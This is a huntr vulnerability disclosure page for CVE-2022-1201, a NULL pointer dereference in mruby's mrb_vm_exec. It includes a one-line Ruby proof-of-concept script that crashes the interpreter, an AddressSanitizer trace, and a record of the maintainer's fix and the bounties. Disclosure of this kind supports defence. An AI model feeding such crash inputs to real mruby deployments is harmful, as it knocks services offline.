huntr

NULL Pointer Dereference in mrb_vm_exec with super in mruby/mruby

0

✓ Valid Reported on Mar 31st 2022

Description

NULL Pointer Dereference in mrb_vm_exec with super

Proof of Concept

```
o13 = Comparable.initialize(){||0x7f.instance_eval() do super rescue caller (0..1).sort_by() do
break end end } // PoC.js ./mruby 1.rb
#Result ASAN:DEADLYSIGNAL
==================================================================
==== ==19163==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc
0x55bde3b4162d bp 0x7ffcbe8d7ab0 sp 0x7ffcbe8d63c0 T0) ==19163==The signal is caused
by a READ memory access. ==19163==Hint: address points to the zero page. #0
0x55bde3b4162c in mrb_vm_exec /home/xxx/mruby/src/vm.c:1752 #1 0x55bde3b31512 in
mrb_vm_run /home/xxx/mruby/src/vm.c:1131 #2 0x55bde3b7b219 in mrb_run
/home/xxx/mruby/src/vm.c:3034 #3 0x55bde3b2fbc9 in mrb_yield_with_class
/home/xxx/mruby/src/vm.c:879 #4 0x55bde3b0b521 in mrb_mod_initialize
/home/xxx/mruby/src/class.c:1648 #5 0x55bde3b3fb19 in mrb_vm_exec
/home/xxx/mruby/src/vm.c:1640 #6 0x55bde3b31512 in mrb_vm_run
/home/xxx/mruby/src/vm.c:1131 #7 0x55bde3b7b42b in mrb_top_run
/home/xxx/mruby/src/vm.c:3047 #8 0x55bde3bedb2a in mrb_load_exec mrbgems/mruby-
compiler/core/parse.y:6890 #9 0x55bde3bede42 in mrb_load_detect_file_cxt mrbgems/mruby-
compiler/core/parse.y:6933 #10 0x55bde3afc128 in main /home/xxx/mruby/mrbgems/mruby-
bin-mruby/tools/mruby/mruby.c:357 #11 0x7f98eb47ec86 in __libc_start_main (/lib/x86_64-
linux-gnu/libc.so.6+0x21c86) #12 0x55bde3af9339 in _start
(/home/xxx/mruby/bin/mruby+0xc2339)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV
/home/xxx/mruby/src/vm.c:1752 in mrb_vm_exec ==19163==ABORTING
```

Impact

This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system.

Occurrences

C vm.c L1752

CVE
CVE-2022-1201
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
High (7.1)

Registry
Other

Affected Version
3.0.0

Visibility
Public

Status
Fixed

Found by

alexhycheung
@alexhycheung
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 761 times.

We are processing your report and will contact the mruby team within 24 hours. 8 months ago

Yukihiro "Matz" Matsumoto modified the report 8 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 8 months ago

alexhycheung has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in 3.2 with commit 00acae 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

vm.c#L1752 has been validated ✓

Sign in to join this conversation